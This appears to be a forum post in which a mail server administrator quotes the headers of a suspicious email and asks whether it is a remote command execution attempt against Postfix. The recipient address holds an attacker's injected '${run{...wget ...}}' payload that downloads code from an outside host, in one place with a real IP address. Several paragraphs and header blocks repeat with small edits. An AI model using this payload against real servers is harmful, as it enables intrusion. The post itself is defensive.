Today I found an extremely unusual email in my catchall inbox, without subject sender or content. My Gmail client for android reported the mail was sent by me.

I found what looks to me like an attempt to exploit a mail server vulnerability fail2ban and I have never heard of.

Received: 20
Received: 19
Received: 22
Received: 21
Received: 18
Received: 15
Received: 14
Received: 17
Received: 16
Received: 29
Received: 28
Received: 31
Received: 30
Received: 27
Received: 24
Received: 23
Received: 26
Received: 25
Received: 13
Received: 3
Received: 4
Received: 5
Received: 2
Received: from example.org (localhost [127.0.0.1])
    by example.org (Postfix) with ESMTP id 1FA141219E6
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST)
Received: from service.com (unknown [xx.xx.xx.xx])
    by example.org (Postfix) with SMTP
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST)
Received: 1
Received: 10
Received: 11
Received: 12
Received: 9
Received: 6
Received: 7
Received: 8
Message-ID: <000701d52665$301b5e30$90521a90$@Domain>
MIME-Version: 1.0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook 16.0
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}@example.org
Authentication-Results: example.org; 
X-DKIM-Authentication-Results: none
Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw==

Analysis: the sender tried to alter the mail destination in order to launch the following (encoded) command and exploit a potential remote code execution vulnerability

X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}@example.org


x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22
/bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]#

Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind.

I found what looks to me like an attempt to exploit a mail server vulnerability that both fail2ban and I have never heard of.

Received: 20
Received: 19
Received: 22
Received: 21
Received: 18
Received: 15
Received: 14
Received: 17
Received: 16
Received: 29
Received: 28
Received: 31
Received: 30
Received: 27
Received: 24
Received: 23
Received: 26
Received: 25
Received: 13
Received: 3
Received: 4
Received: 5
Received: 2
Received: from example.org (localhost [127.0.0.1])
    by example.org (Postfix) with ESMTP id 1FA141219E6
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST)
Received: from service.com (unknown [xx.xx.xx.xx])
    by example.org (Postfix) with SMTP
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST)
Received: 1
Received: 10
Received: 11
Received: 12
Received: 9
Received: 6
Received: 7
Received: 8
Message-ID: <000701d52665$301b5e30$90521a90$@Domain>
MIME-Version: 1.0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook 16.0
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20xxx.xxx.xxx.xxxx2ftmpx2fxx.xxx.xxx.xxx22}}@example.org
Authentication-Results: example.org; 
X-DKIM-Authentication-Results: none
Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw==

Analysis: the sender tried to alter the mail destination in order to launch the following (encoded) command and exploit a potential remote code execution vulnerability, where sequences of Xes denote an IP address

X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20xxx.xxx.xxx.xxxx2ftmpx2fxx.xxx.xxx.xxxx22}}@example.org


x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22
/bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]#

I would like to know if this is a recent known or 0-day vulnerability that may affect me and, other than looking carefully at top and crontab, if it is possible to assess if I have been pwned by what clearly resembles an attack.

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix); I have little clue.

The reason I rush asking security questions on MTAs is that, in my opinion/experience, a hacked mail server boxes can start to cause lots of damage in extremely short time compared to other kinds of services.

I would like to confirm if this is a real attempt, as I suspect, to conduct a remote command execution attack with a crafted email. Secondarily, I urge to to assess if I have been pwned, in ways other than looking carefully at top and crontab. I need to understand if this attack affects my MTA or tries to exploit an outdated and well-fixed vulnerability.

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix), I have little clue.

The reason I rush asking security questions about MTAs on public forums is that, in my opinion/experience, a hacked mail server boxes can start to cause lots of damage in extremely short time compared to other kinds of services, and that requires acting quickly.

I had fear that someone had guessed my robust password and that this mail came from my MTA, so I rushed-look at both email itself and mail logs. That did not happen.

I found what looks to me like an attempt to exploit a mail server vulnerability I and fail2ban never heard of.

Despite sht-ct is something I don't recall (or mistranslated from manual url-decoding), I start from the assumption that all attackers know I use postfix as MTA on my server.

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix) I have little clue.

The reason I rush asking security questions on MTAs is that, in my opinion/experience, a hacked mail server box can start to cause lots of damage in extremely short time than other kind of services.

I had fear that someone had guessed my robust password and that this mail came from my mail transfer agent (MTA), so I rushed-look at both email itself and mail logs. That did not happen.

I found what looks to me like an attempt to exploit a mail server vulnerability fail2ban and I have never heard of.

Despite sht-ct being something I'm not familiar with (or mistranslated from manual url-decoding), I start from the assumption that all attackers know I use Postfix as the MTA on my server.

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix); I have little clue.

The reason I rush asking security questions on MTAs is that, in my opinion/experience, a hacked mail server boxes can start to cause lots of damage in extremely short time compared to other kinds of services.